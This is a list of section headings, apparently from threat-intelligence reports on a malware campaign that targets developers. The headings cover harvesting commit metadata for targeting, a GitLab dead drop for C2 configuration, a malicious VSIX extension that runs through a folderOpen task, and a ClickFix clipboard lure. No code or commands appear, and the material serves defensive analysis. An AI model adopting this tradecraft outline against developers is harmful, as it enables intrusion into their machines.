From Commit Metadata to a Developer Target List

One harvester fed two address pools

142,365 distinct address strings

Star ranges divided the repository search

Three repositories carried delivery kits

A public contract repo directed questions to a private contact

No message logs or endpoint records were recovered

Following the GitLab Dead Drop: Configuration Changes and C2 History

The payload fetches config.json from GitLab

Five May revisions, then a new server pair in July

A July hostname linked to a reported origin

The SSH host-key search found no new address

The 23 July certificates added hostnames

Parsing Without Executing: JavaScript Deobfuscation with Acorn

Wrapper calls hide the key's construction

One wrapper assigns a temporary value

Putting the sixteen fragments back in order

Authenticated decryption verifies all three payloads

The scanner uses the checksum loop to find the rotation

How a Malicious VSIX Uses the Signed Editor Runtime

A folderOpen task points to the installer

Three encrypted scripts inside the VSIX

The extension launches the editor binary as Node

Recruitment email in the clean repository

Inspect the extension path and process arguments

Anatomy of a Developer Lure: ClickFix Clipboard Manipulation

The command shown to candidates

Copying changes the terminal command

The installer uses the lure site's origin

Signals in the page's JavaScript

The payload fetches `config.json` from GitLab

A `folderOpen` task points to the installer